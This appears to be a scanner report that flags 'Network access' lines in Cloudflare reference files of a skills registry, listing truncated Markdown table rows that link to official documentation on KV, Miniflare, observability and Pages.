|---------------------|----------------------------| | Stale value after a write or delete | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md): allow for eventual consistency; neither local read-after-write - Network accessline 7
| Stale value after a write or delete | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md): allow for eventual consistency; neither local read-after-write visibility nor a fixed global propagation deadline i - Network accessline 8
| Newly created key still appears absent | [Read caching](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): missing-key lookups are cached too. Treat check-then-create as a race, not an atomic existence test. | - Network accessline 9
| Concurrent updates overwrite each other or writes are throttled | [Concurrent writes](https://developers.cloudflare.com/kv/api/write-key-value-pairs/index.md#concurrent-writes-to-the-same-key): retries do not make read-modify-write atomic - Network accessline 10
| Missing-value errors | [Read results](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): distinguish `null` from valid falsy values and distinguish absence from an operation failure. | - Network accessline 11
| Slow reads, large results, or excessive operations | [Read guidance](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): select result types and bulk reads to match the workload; increasing read cache lifetime trades - Network accessline 12
| Unexpected empty listing page | [Pagination](https://developers.cloudflare.com/kv/api/list-keys/index.md): use the completion flag and cursor, not page length, to determine whether to continue. | - Network accessline 13
| Data present in one environment but missing in another | [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) and [environments](https://developers.cloudflare.com/kv/reference/environments/index.md): check loc - Network accessline 14
| Size, operation, or write-rate failures | [Limits](https://developers.cloudflare.com/kv/platform/limits/index.md): retrieve current constraints before sizing values, batches, or retry policies. | - Network accessline 15
| Estimate costs or explain billing | [Pricing](https://developers.cloudflare.com/kv/platform/pricing/index.md): check allowances, billable operations, storage, and bulk accounting for the actual workload. |
packages/autoskills/skills-registry/cloudflare/references/kv/patterns.md
- Network accessline 3
Read the guide for the pattern before implementing it, and confirm that [KV's consistency model](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md) fits the application. - Network accessline 5
| Task | Documentation and design decision | |------|-----------------------------------| | Cache application data or API results | [Cache data with KV](https://developers.cloudflare.com/kv/examples/cache-data-with-workers-kv/index.md): dec - Network accessline 6
|------|-----------------------------------| | Cache application data or API results | [Cache data with KV](https://developers.cloudflare.com/kv/examples/cache-data-with-workers-kv/index.md): decide acceptable staleness, expiration, and beh - Network accessline 7
| Cache application data or API results | [Cache data with KV](https://developers.cloudflare.com/kv/examples/cache-data-with-workers-kv/index.md): decide acceptable staleness, expiration, and behavior when the origin fails. | - Network accessline 8
| Cache eligible HTTP responses | [Workers Cache](https://developers.cloudflare.com/workers/cache/index.md): choose the HTTP caching mechanism based on response semantics. | - Network accessline 9
| Store configuration or feature flags | [Distributed configuration](https://developers.cloudflare.com/kv/examples/distributed-configuration-with-workers-kv/index.md): choose defaults and rollout behavior that tolerate delayed updates. | - Network accessline 10
| Coalesce related keys | [Read guidance](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): fewer reads can improve cache reuse, but combined values couple updates and can introduce write races. | - Network accessline 11
| Organize and enumerate keys by prefix | [List keys](https://developers.cloudflare.com/kv/api/list-keys/index.md): use a consistent naming scheme and paginate every listing. | - Network accessline 12
| Attach schema versions or other metadata | [Write metadata](https://developers.cloudflare.com/kv/api/write-key-value-pairs/index.md) and [read metadata](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): define compa - Network accessline 18
- For a memory → KV → origin cache, define each layer's lifetime and refill behavior. Process memory is not shared durable state; KV adds its own stale-value and negative-lookup caching. - For sessions, decide how quickly creation, updates, - Network accessline 19
- For sessions, decide how quickly creation, updates, and revocation must become visible. KV alone cannot provide immediate global revocation or guaranteed immediate reads after session creation. Use a store with suitable consistency when t - Network accessline 20
- For counters, rate limits, or other atomic read-modify-write decisions, use coordination such as [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md). Serializing writes through an object does not make separate KV
packages/autoskills/skills-registry/cloudflare/references/miniflare/README.md
- Network accessline 7
| Need | Start here | |------|------------| | Unit tests that execute in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | - Network accessline 8
|------|------------| | Unit tests that execute in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | | Integration tests against built Workers - Network accessline 9
| Unit tests that execute in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | - Network accessline 10
| Integration tests against built Workers | [Integration test harness](https://developers.cloudflare.com/workers/testing/test-harness/index.md) | - Network accessline 11
| Low-level simulator control for a custom harness | [Miniflare testing guide](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md) | - Network accessline 12
| Binding access from a Node.js process | [Wrangler getPlatformProxy](https://developers.cloudflare.com/workers/wrangler/api/index.md#getplatformproxy) | - Network accessline 18
- [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) — installation, scripts, lifecycle, and event dispatch.
packages/autoskills/skills-registry/cloudflare/references/miniflare/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Create, reload, or dispose an instance; wait for its HTTP server | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | - Network accessline 6
|------|---------------| | Create, reload, or dispose an instance; wait for its HTTP server | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | | Dispatch requests and supply request metadata - Network accessline 7
| Create, reload, or dispose an instance; wait for its HTTP server | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | | Dispatch requests and supply request metadata | [Fetch events](https:// - Network accessline 8
| Dispatch requests and supply request metadata | [Fetch events](https://developers.cloudflare.com/workers/testing/miniflare/core/fetch/index.md) | - Network accessline 9
| Trigger queue and scheduled handlers programmatically | [Dispatching events](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md#dispatching-events) | - Network accessline 10
| Configure queue producers and consumers | [Queues](https://developers.cloudflare.com/workers/testing/miniflare/core/queues/index.md) | - Network accessline 11
| Trigger scheduled events over HTTP or the API | [Scheduled events](https://developers.cloudflare.com/workers/testing/miniflare/core/scheduled/index.md) | - Network accessline 12
| Access bindings from tests | [Interacting with bindings](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#interacting-with-bindings) | - Network accessline 13
| Access local storage | [KV](https://developers.cloudflare.com/workers/testing/miniflare/storage/kv/index.md), [R2](https://developers.cloudflare.com/workers/testing/miniflare/storage/r2/index.md), [D1](https://developers.cloudflare.com/wo - Network accessline 14
| Handle a WebSocket upgrade in a test | [WebSockets](https://developers.cloudflare.com/workers/testing/miniflare/core/web-sockets/index.md) |
packages/autoskills/skills-registry/cloudflare/references/miniflare/configuration.md
- Network accessline 3
Direct Miniflare does not read Wrangler configuration. Configure its bindings explicitly and build TypeScript or bundled Workers before starting tests; see [writing tests](https://developers.cloudflare.com/workers/testing/miniflare/writing- - Network accessline 5
Match the Worker's intended compatibility date and flags when testing its behavior. Consult [compatibility dates](https://developers.cloudflare.com/workers/testing/miniflare/core/compatibility/index.md) rather than substituting a fixed date - Network accessline 7
| Configure | Documentation | |-----------|---------------| | Script source, HTTP server, request metadata, or reloading | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | - Network accessline 8
|-----------|---------------| | Script source, HTTP server, request metadata, or reloading | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | | Module format and resolution rules | [Modules]( - Network accessline 9
| Script source, HTTP server, request metadata, or reloading | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | - Network accessline 10
| Module format and resolution rules | [Modules](https://developers.cloudflare.com/workers/testing/miniflare/core/modules/index.md) | - Network accessline 11
| Values and file-backed bindings | [Variables and secrets](https://developers.cloudflare.com/workers/testing/miniflare/core/variables-secrets/index.md) | - Network accessline 12
| Service bindings, shared storage, and several Workers | [Multiple Workers](https://developers.cloudflare.com/workers/testing/miniflare/core/multiple-workers/index.md) | - Network accessline 13
| Storage bindings and documented persistence options | [KV](https://developers.cloudflare.com/workers/testing/miniflare/storage/kv/index.md), [R2](https://developers.cloudflare.com/workers/testing/miniflare/storage/r2/index.md), [D1](https - Network accessline 14
| Queue producers and consumers | [Queues](https://developers.cloudflare.com/workers/testing/miniflare/core/queues/index.md) | - Network accessline 16
If the task is to run tests from the project's build and Wrangler configuration, consider the [integration test harness](https://developers.cloudflare.com/workers/testing/test-harness/index.md) or [Workers Vitest setup](https://developers.c
packages/autoskills/skills-registry/cloudflare/references/miniflare/gotchas.md
- Network accessline 3
| Symptom or task | Check | |-----------------|-------| | TypeScript, bundled code, or imports fail to load | [Custom builds](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#custom-builds) and [module rule - Network accessline 4
|-----------------|-------| | TypeScript, bundled code, or imports fail to load | [Custom builds](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#custom-builds) and [module rules](https://developers.cloudf - Network accessline 5
| TypeScript, bundled code, or imports fail to load | [Custom builds](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#custom-builds) and [module rules](https://developers.cloudflare.com/workers/testing/min - Network accessline 6
| Bindings from Wrangler configuration are missing | [Interacting with bindings](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#interacting-with-bindings) — direct Miniflare needs explicit configuration | - Network accessline 7
| Tests disagree with Worker runtime behavior | [Test runtime differences](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md) and [compatibility dates](https://developers.cloudflare.com/workers/testing/minif - Network accessline 8
| Instances keep running, ports conflict, or request metadata is unexpected | [Instance lifecycle and HTTP server](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) — dispatching a request without HTTP does n - Network accessline 9
| Storage disappears or leaks across tests | Check the relevant [storage configuration](./configuration.md) and the chosen test tool's persistence settings | | Breakpoints are needed with direct Miniflare | [Attaching a debugger](https://de - Network accessline 10
| Breakpoints are needed with direct Miniflare | [Attaching a debugger](https://developers.cloudflare.com/workers/testing/miniflare/developing/debugger/index.md) | - Network accessline 11
| Upgrade a Miniflare 2 application | [Migrate from version 2](https://developers.cloudflare.com/workers/testing/miniflare/migrations/from-v2/index.md) | - Network accessline 12
| Upgrade an existing Workers Vitest package | [Migrate to Vitest plugin](https://developers.cloudflare.com/workers/testing/vitest-integration/migration-guides/migrate-to-vitest-plugin/index.md) | - Network accessline 13
| Replace unstable_dev tests | [Migration guide](https://developers.cloudflare.com/workers/testing/vitest-integration/migration-guides/migrate-from-unstable-dev/index.md) and [integration test harness](https://developers.cloudflare.com/work
packages/autoskills/skills-registry/cloudflare/references/miniflare/patterns.md
- Network accessline 3
Choose the test runtime before adapting an example. With direct Miniflare, the Worker runs in workerd while the test runner runs in Node.js; importing Worker functions into Node.js can change runtime-dependent behavior. See [writing tests]( - Network accessline 5
| Task | Documentation | |------|---------------| | Write unit tests in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | - Network accessline 6
|------|---------------| | Write unit tests in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | | Use event, Durable Object, or other runtime - Network accessline 7
| Write unit tests in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | - Network accessline 8
| Use event, Durable Object, or other runtime test helpers | [Vitest test APIs](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md) | - Network accessline 9
| Test built Workers from an external runner | [Integration test harness](https://developers.cloudflare.com/workers/testing/test-harness/index.md) | - Network accessline 10
| Build a custom runner with direct simulator control | [Miniflare writing tests](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md) | | Access emulated bindings from Node.js | [getPlatformProxy](https://dev - Network accessline 11
| Access emulated bindings from Node.js | [getPlatformProxy](https://developers.cloudflare.com/workers/wrangler/api/index.md#getplatformproxy) | | Mock outbound requests in Workers Vitest tests | [Mock outbound requests](https://developers. - Network accessline 12
| Mock outbound requests in Workers Vitest tests | [Mock outbound requests](https://developers.cloudflare.com/workers/testing/vitest-integration/mock-outbound-requests/index.md) | - Network accessline 13
| Understand Vitest runtime isolation and concurrency | [Isolation and concurrency](https://developers.cloudflare.com/workers/testing/vitest-integration/isolation-and-concurrency/index.md) | - Network accessline 14
| Simulate inter-Worker calls and substitute services | [Multiple Workers](https://developers.cloudflare.com/workers/testing/miniflare/core/multiple-workers/index.md) | - Network accessline 19
For direct Miniflare, clean up instances after tests using the documented [lifecycle](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md#watching-reloading-and-disposing). Choose persistence deliberately so tes
packages/autoskills/skills-registry/cloudflare/references/observability/README.md
- Network accessline 7
| Need | Start here | | --- | --- | | Store, search, and investigate historical Worker logs | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | - Network accessline 8
| --- | --- | | Store, search, and investigate historical Worker logs | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | | Watch a deployment or reproduce an issue live | [Real-time logs a - Network accessline 9
| Store, search, and investigate historical Worker logs | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | - Network accessline 10
| Watch a deployment or reproduce an issue live | [Real-time logs and Wrangler tail](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md) | - Network accessline 11
| Understand request flows and dependency latency | [Workers Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) | - Network accessline 12
| Monitor built-in request, error, and CPU metrics | [Metrics and analytics](https://developers.cloudflare.com/workers/observability/metrics-and-analytics/index.md) | - Network accessline 13
| Record custom events and tenant-level usage for SQL analysis | [Analytics Engine](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) | - Network accessline 14
| Export logs and traces to an observability provider | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | - Network accessline 15
| Apply custom filtering, transformation, or delivery logic | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | - Network accessline 16
| Deliver Workers Trace Events to a supported log storage destination | [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) |
packages/autoskills/skills-registry/cloudflare/references/observability/api.md
- Network accessline 5
| Task | Maintained documentation | | --- | --- | | Emit console messages and check supported methods | [Console API](https://developers.cloudflare.com/workers/runtime-apis/console/index.md) | - Network accessline 6
| --- | --- | | Emit console messages and check supported methods | [Console API](https://developers.cloudflare.com/workers/runtime-apis/console/index.md) | | Filter, group, and aggregate stored Workers Logs | [Query Builder](https://develo - Network accessline 7
| Emit console messages and check supported methods | [Console API](https://developers.cloudflare.com/workers/runtime-apis/console/index.md) | - Network accessline 8
| Filter, group, and aggregate stored Workers Logs | [Query Builder](https://developers.cloudflare.com/workers/observability/query-builder/index.md) | - Network accessline 9
| Query built-in Workers metrics with GraphQL | [Querying Workers metrics](https://developers.cloudflare.com/analytics/graphql-api/tutorials/querying-workers-metrics/index.md) | - Network accessline 10
| Define Analytics Engine fields and call `writeDataPoint()` | [Write data points](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) | - Network accessline 11
| Authenticate and query Analytics Engine datasets | [SQL API](https://developers.cloudflare.com/analytics/analytics-engine/sql-api/index.md) | - Network accessline 12
| Calculate counts, sums, and averages on sampled events | [Analytics Engine sampling](https://developers.cloudflare.com/analytics/analytics-engine/sampling/index.md) | - Network accessline 13
| Implement a Tail consumer and inspect event properties | [Tail handler API](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) | - Network accessline 14
| Create and manage Logpush jobs | [Logpush API configuration](https://developers.cloudflare.com/logs/logpush/logpush-job/api-configuration/index.md) | - Network accessline 15
| Select exported Workers event fields | [Workers Trace Events dataset](https://developers.cloudflare.com/logs/logpush/logpush-job/datasets/account/workers_trace_events/index.md) | - Network accessline 16
| Export OTLP logs and traces | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
packages/autoskills/skills-registry/cloudflare/references/observability/configuration.md
- Network accessline 5
| Task | Maintained documentation | | --- | --- | | Enable persisted logs, structured JSON logging, and sampling | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | - Network accessline 6
| --- | --- | | Enable persisted logs, structured JSON logging, and sampling | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | | Enable traces and set their sampling independently of logs - Network accessline 7
| Enable persisted logs, structured JSON logging, and sampling | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | - Network accessline 8
| Enable traces and set their sampling independently of logs | [Workers Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) | - Network accessline 9
| Configure a named deployment environment | [Wrangler environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) and the environment example in [Workers Logs](https://developers.cloudflare.com/workers/observabi - Network accessline 10
| Bind an Analytics Engine dataset and write its first data point | [Analytics Engine get started](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) | - Network accessline 11
| Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | - Network accessline 12
| Create a Logpush job, configure access, and enable Worker log delivery | [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) | - Network accessline 13
| Configure OTLP destinations, authentication, and local persistence | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) for destinations and authentication, and [Workers OpenTelemetry exp
packages/autoskills/skills-registry/cloudflare/references/observability/gotchas.md
- Network accessline 5
| Symptom | Check and authoritative guide | | --- | --- | | Logs missing from the dashboard | Confirm the deployed Worker/environment, collection and persistence settings, recent traffic, query time range, and sampling. Follow [Workers Logs - Network accessline 6
| --- | --- | | Logs missing from the dashboard | Confirm the deployed Worker/environment, collection and persistence settings, recent traffic, query time range, and sampling. Follow [Workers Logs](https://developers.cloudflare.com/workers/ - Network accessline 7
| Logs missing from the dashboard | Confirm the deployed Worker/environment, collection and persistence settings, recent traffic, query time range, and sampling. Follow [Workers Logs](https://developers.cloudflare.com/workers/observability/ - Network accessline 8
| Live logs differ from stored logs | Confirm which workflow is being inspected; live streams can sample under load. See [real-time logs](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md). | - Network accessline 9
| Traces missing or incomplete | Check trace enablement and sampling separately from logs, then consult [tracing setup](https://developers.cloudflare.com/workers/observability/traces/index.md) and [known limitations](https://developers.clou - Network accessline 10
| Export destination has no data | Check signal type, destination name, credentials, endpoint compatibility, and provider status using [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) and - Network accessline 11
| Tail consumer receives no events | Check the producer's consumer configuration and deployment using [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md). | - Network accessline 12
| Analytics Engine totals or averages look wrong | Account for sample weights and consistent field meanings using [sampling guidance](https://developers.cloudflare.com/analytics/analytics-engine/sampling/index.md). Check [limits](https://de - Network accessline 13
| Very short operations appear to take no time | Read [performance and timers](https://developers.cloudflare.com/workers/runtime-apis/performance/index.md) and [trace limitations](https://developers.cloudflare.com/workers/observability/trac - Network accessline 19
- [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md): log size, retention, sampling, and pricing. - Network accessline 20
- [Workers Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) and [known limitations](https://developers.cloudflare.com/workers/observability/traces/known-limitations/index.md): availability, propagation, and i - Network accessline 21
- [Workers pricing](https://developers.cloudflare.com/workers/platform/pricing/index.md): current observability and Tail Worker billing terms. - Network accessline 22
- [Analytics Engine limits](https://developers.cloudflare.com/analytics/analytics-engine/limits/index.md) and [pricing](https://developers.cloudflare.com/analytics/analytics-engine/pricing/index.md): field/write limits, retention, query cos - Network accessline 23
- [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md): Workers-specific eligibility, permissions, and pricing.
packages/autoskills/skills-registry/cloudflare/references/observability/patterns.md
- Network accessline 5
| Task | Design decision and documentation | | --- | --- | | Usage-based billing | Define the billable event, tenant identity, time window, and accuracy requirements. Start with the maintained [Analytics Engine billing recipe](https://devel - Network accessline 6
| --- | --- | | Usage-based billing | Define the billable event, tenant identity, time window, and accuracy requirements. Start with the maintained [Analytics Engine billing recipe](https://developers.cloudflare.com/analytics/analytics-engi - Network accessline 7
| Usage-based billing | Define the billable event, tenant identity, time window, and accuracy requirements. Start with the maintained [Analytics Engine billing recipe](https://developers.cloudflare.com/analytics/analytics-engine/recipes/usa - Network accessline 8
| Performance monitoring | Use [built-in metrics](https://developers.cloudflare.com/workers/observability/metrics-and-analytics/index.md) for aggregate health and [traces](https://developers.cloudflare.com/workers/observability/traces/index - Network accessline 9
| Error tracking | Emit structured context without secrets, investigate with [Query Builder](https://developers.cloudflare.com/workers/observability/query-builder/index.md), and choose [Tail Workers](https://developers.cloudflare.com/worker - Network accessline 10
| Multi-tenant tracking | Choose the tenant dimension and consistent field positions using [Analytics Engine get started](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) and [sampling guidance](https://dev - Network accessline 11
| Tail Worker filtering | Use the current [Tail handler schema](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) for outcomes, exceptions, and timing fields, with [Tail configuration](https://developers.cloudfl - Network accessline 12
| OpenTelemetry export | Prefer the maintained [OTLP export integration](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) for supported destinations. For Honeycomb, follow [Export to Honeycomb](https://develope - Network accessline 14
Use [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) when the requirement is Workers Trace Event delivery to a supported log destination. Use a Tail Worker when custom processing is required b
packages/autoskills/skills-registry/cloudflare/references/pages-functions/README.md
- Network accessline 3
Use this reference for server-side behavior in an existing Pages project. For new applications, follow the Workers recommendation in the [Pages framework guidance](https://developers.cloudflare.com/pages/framework-guides/index.md). - Network accessline 5
| Task | Documentation | | --- | --- | | Identify filesystem routes and invocation boundaries | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 6
| --- | --- | | Identify filesystem routes and invocation boundaries | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | | Implement request handlers | [API reference](https://developers.cloudflare.com/pages/fu - Network accessline 7
| Identify filesystem routes and invocation boundaries | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 8
| Implement request handlers | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | - Network accessline 9
| Understand generated Worker output | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages-functions/api.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Choose method handlers and access EventContext | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | - Network accessline 6
| --- | --- | | Choose method handlers and access EventContext | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | | Read parameters and resolve dynamic routes | [Routing](https://developers.cloudfl - Network accessline 7
| Choose method handlers and access EventContext | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | - Network accessline 8
| Read parameters and resolve dynamic routes | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 9
| Compose middleware and continue a request | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | | Use a supported resource binding | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/i - Network accessline 10
| Use a supported resource binding | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) | - Network accessline 11
| Handle requests through generated Worker output | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages-functions/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Manage Wrangler settings and environment overrides | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) | - Network accessline 6
| --- | --- | | Manage Wrangler settings and environment overrides | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) | | Configure supported bindings, variables, and secrets | [Bi - Network accessline 7
| Manage Wrangler settings and environment overrides | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) | - Network accessline 8
| Configure supported bindings, variables, and secrets | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) | - Network accessline 9
| Generate and configure runtime and environment types | [TypeScript](https://developers.cloudflare.com/pages/functions/typescript/index.md) | - Network accessline 10
| Run assets and Functions locally | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) | - Network accessline 11
| Set Function invocation routes | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 12
| Evaluate and enable placement | [Smart Placement](https://developers.cloudflare.com/pages/functions/smart-placement/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages-functions/gotchas.md
- Network accessline 5
| Task | Documentation | | --- | --- | | A Function does not run or receives unexpected parameters | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 6
| --- | --- | | A Function does not run or receives unexpected parameters | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | | Middleware is skipped or static fallback fails | [Advanced mode](https://developer - Network accessline 7
| A Function does not run or receives unexpected parameters | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 8
| Middleware is skipped or static fallback fails | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) | - Network accessline 9
| Middleware order or scope is incorrect | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | - Network accessline 10
| Bindings or secrets differ between environments | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) | - Network accessline 11
| Runtime or environment types do not match | [TypeScript](https://developers.cloudflare.com/pages/functions/typescript/index.md) | - Network accessline 12
| A local request behaves differently | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) | - Network accessline 13
| Inspect exceptions and deployment logs | [Debugging and logging](https://developers.cloudflare.com/pages/functions/debugging-and-logging/index.md) | - Network accessline 14
| Check runtime quotas | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) | - Network accessline 15
| Check request costs | [Functions pricing](https://developers.cloudflare.com/pages/functions/pricing/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages-functions/patterns.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Share authentication, logging, and error handling | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | - Network accessline 6
| --- | --- | | Share authentication, logging, and error handling | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | | Choose request handlers and asynchronous completion behavior | [API reference](https - Network accessline 7
| Share authentication, logging, and error handling | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | | Choose request handlers and asynchronous completion behavior | [API reference](https://developers. - Network accessline 8
| Choose request handlers and asynchronous completion behavior | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | | Keep asset requests outside Function invocation where appropriate | [Routing](htt - Network accessline 9
| Keep asset requests outside Function invocation where appropriate | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 10
| Use custom or framework-generated routing | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) | - Network accessline 11
| Integrate storage or another service | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) | - Network accessline 12
| Exercise the assembled application locally | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages/README.md
- Network accessline 3
Use this reference when maintaining an existing Pages project. For new applications, start with Workers as recommended in the [Pages framework guidance](https://developers.cloudflare.com/pages/framework-guides/index.md). Fetch current docum - Network accessline 5
| Task | Documentation | | --- | --- | | Configure the existing build | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | - Network accessline 6
| --- | --- | | Configure the existing build | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | | Manage automatic deployments from a repository | [Git integration](https://develope - Network accessline 7
| Configure the existing build | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | - Network accessline 8
| Manage automatic deployments from a repository | [Git integration](https://developers.cloudflare.com/pages/configuration/git-integration/index.md) | | Deploy prebuilt output | [Direct Upload](https://developers.cloudflare.com/pages/get-st - Network accessline 9
| Deploy prebuilt output | [Direct Upload](https://developers.cloudflare.com/pages/get-started/direct-upload/index.md) | | Implement server-side requests | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-refe - Network accessline 10
| Implement server-side requests | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | - Network accessline 11
| Plan a move to Workers | [Migrate from Pages to Workers](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages/api.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Implement handlers and use context or asset fallback | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | - Network accessline 6
| --- | --- | | Implement handlers and use context or asset fallback | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | | Resolve dynamic paths and invocation routes | [Routing](https://d - Network accessline 7
| Implement handlers and use context or asset fallback | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | - Network accessline 8
| Resolve dynamic paths and invocation routes | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 9
| Apply shared request logic | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | - Network accessline 10
| Understand framework-generated Worker output | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) | - Network accessline 11
